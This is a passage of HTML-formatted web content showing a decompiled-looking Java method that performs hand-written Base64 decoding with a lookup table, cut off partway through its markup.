    2. </li></ul><pre class="code-snippet__js" data-lang="cs" style="padding-top: 1em; padding-right: 1em; padding-bottom: 1em; outline: 0px; max-width: 1000%; overflow-x: auto; white-space: normal; flex: 1 1 0%; color: rgb(51, 51, 51); letter-spacing: 0.544px; text-align: justify; box-sizing: border-box !important;"><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;"><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">   <span class="code-snippet__function" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;"><span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">private</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">static</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span>[] <span class="code-snippet__title" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">b</span>(<span class="code-snippet__params" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">String str</span>) throws UnsupportedEncodingException</span> {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">int</span> i2;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span> b2;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">int</span> i3;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span> b3;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">int</span> i4;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span> b4;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">int</span> i5;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span> b5;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        StringBuffer stringBuffer = <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> StringBuffer();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span>[] bytes = str.getBytes(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"US-ASCII"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">int</span> length = bytes.length;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">int</span> i6 = <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">0</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">while</span> (i6 < length) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">while</span> (<span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">true</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i2 = i6 + <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                b2 = f16023b[bytes[i6]];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (i2 >= length || b2 != <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i6 = i2;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (b2 == <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">while</span> (<span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">true</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i3 = i2 + <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                b3 = f16023b[bytes[i2]];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (i3 >= length || b3 != <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i2 = i3;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (b3 == <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            stringBuffer.append((<span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">char</span>) ((b2 << <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">2</span>) | ((b3 & <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">48</span>) >>> <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">4</span>)));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">while</span> (<span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">true</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i4 = i3 + <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span> b6 = bytes[i3];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (b6 == <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">61</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> stringBuffer.toString().getBytes(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"iso8859-1"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                b4 = f16023b[b6];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (i4 >= length || b4 != <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i3 = i4;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (b4 == <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            stringBuffer.append((<span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">char</span>) (((b3 & <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">15</span>) << <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">4</span>) | ((b4 & <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">60</span>) >>> <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">2</span>)));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">while</span> (<span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">true</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i5 = i4 + <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">byte</span> b7 = bytes[i4];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (b7 == <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">61</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> stringBuffer.toString().getBytes(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"iso8859-1"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                b5 = f16023b[b7];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (i5 >= length || b5 != <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i4 = i5;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (b5 == <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">-1</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">break</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            stringBuffer.append((<span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">char</span>) (b5 | ((b4 & <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">3</span>) << <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">6</span>)));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            i6 = i5;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation 